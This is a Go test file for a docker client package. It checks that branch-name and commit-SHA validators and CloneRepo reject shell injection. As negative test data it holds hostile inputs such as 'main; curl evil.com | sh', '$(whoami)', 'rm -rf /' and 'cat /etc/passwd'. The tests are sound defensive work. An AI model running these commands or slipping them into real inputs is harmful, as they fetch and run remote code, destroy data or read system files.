package docker //nolint:testpackage // tests unexported regexps and Client struct import ( "errors" "log/slog" "testing" "time" ) func TestValidBranchRegex(t *testing.T) { t.Parallel() valid := []string{ "main", "develop", "feature/my-feature", "release-1.0", "v1.2.3", "fix/issue_42", "my.branch", } for _, b := range valid { if !validBranchRe.MatchString(b) { t.Errorf("expected branch %q to be valid", b) } } invalid := []string{ "main; curl evil.com | sh", "branch$(whoami)", "branch`id`", "branch && rm -rf /", "branch | cat /etc/passwd", "", "branch name with spaces", "branch\nnewline", } for _, b := range invalid { if validBranchRe.MatchString(b) { t.Errorf("expected branch %q to be invalid (potential injection)", b) } } } func TestValidCommitSHARegex(t *testing.T) { t.Parallel() valid := []string{ "abc123def456789012345678901234567890abcd", "0000000000000000000000000000000000000000", "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", } for _, s := range valid { if !validCommitSHARe.MatchString(s) { t.Errorf("expected SHA %q to be valid", s) } } invalid := []string{ "short", "abc123", "ABCDEF1234567890123456789012345678901234", // uppercase "abc123def456789012345678901234567890abcd; rm -rf /", "$(whoami)000000000000000000000000000000000", "", } for _, s := range invalid { if validCommitSHARe.MatchString(s) { t.Errorf("expected SHA %q to be invalid (potential injection)", s) } } } func TestCloneRepoRejectsInjection(t *testing.T) { //nolint:funlen // table-driven test t.Parallel() c := &Client{ log: slog.Default(), } tests := []struct { name string branch string commitSHA string wantErr error }{ { name: "shell injection in branch", branch: "main; curl evil.com | sh #", wantErr: ErrInvalidBranch, }, { name: "command substitution in branch", branch: "$(whoami)", wantErr: ErrInvalidBranch, }, { name: "backtick injection in branch", branch: "`id`", wantErr: ErrInvalidBranch, }, { name: "injection in commitSHA", branch: "main", commitSHA: "not-a-sha; rm -rf /", wantErr: ErrInvalidCommitSHA, }, { name: "short SHA rejected", branch: "main", commitSHA: "abc123", wantErr: ErrInvalidCommitSHA, }, { name: "valid inputs pass validation (hit NotConnected)", branch: "main", commitSHA: "abc123def456789012345678901234567890abcd", wantErr: ErrNotConnected, }, { name: "valid branch no SHA passes validation (hit NotConnected)", branch: "main", wantErr: ErrNotConnected, }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { t.Parallel() _, err := c.CloneRepo( t.Context(), "git@example.com:repo.git", tt.branch, tt.commitSHA, "fake-key", "/tmp/container", "/tmp/host", ) if err == nil { t.Fatal("expected error, got nil") } if !errors.Is(err, tt.wantErr) { t.Errorf("expected error %v, got %v", tt.wantErr, err) } }) } } func TestBuildHealthcheck(t *testing.T) { t.Parallel() t.Run("creates CMD-SHELL health check", func(t *testing.T) { t.Parallel() cmd := "curl -f http://localhost:8080/healthz || exit 1" hc := buildHealthcheck(cmd) if len(hc.Test) != 2 { t.Fatalf("expected 2 test elements, got %d", len(hc.Test)) } if hc.Test[0] != "CMD-SHELL" { t.Errorf("expected Test[0]=%q, got %q", "CMD-SHELL", hc.Test[0]) } if hc.Test[1] != cmd { t.Errorf("expected Test[1]=%q, got %q", cmd, hc.Test[1]) } }) t.Run("sets expected intervals", func(t *testing.T) { t.Parallel() hc := buildHealthcheck("true") expectedInterval := 30 * time.Second if hc.Interval != expectedInterval { t.Errorf("expected Interval=%v, got %v", expectedInterval, hc.Interval) } expectedTimeout := 10 * time.Second if hc.Timeout != expectedTimeout { t.Errorf("expected Timeout=%v, got %v", expectedTimeout, hc.Timeout) } expectedStartPeriod := 15 * time.Second if hc.StartPeriod != expectedStartPeriod { t.Errorf("expected StartPeriod=%v, got %v", expectedStartPeriod, hc.StartPeriod) } expectedRetries := 3 if hc.Retries != expectedRetries { t.Errorf("expected Retries=%d, got %d", expectedRetries, hc.Retries) } }) }